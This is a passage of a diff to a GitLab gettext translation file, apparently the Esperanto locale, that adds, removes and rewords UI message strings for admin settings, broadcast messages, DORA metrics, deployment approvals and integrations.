-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Foliumi dosierujon"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr "Enmetita de"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Lasta ĉenstablo"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "Lernu pli en la"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
